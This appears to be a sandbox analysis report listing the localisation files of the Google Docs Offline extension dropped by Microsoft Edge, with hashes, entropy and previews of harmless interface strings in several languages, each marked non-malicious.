C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1425097510\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
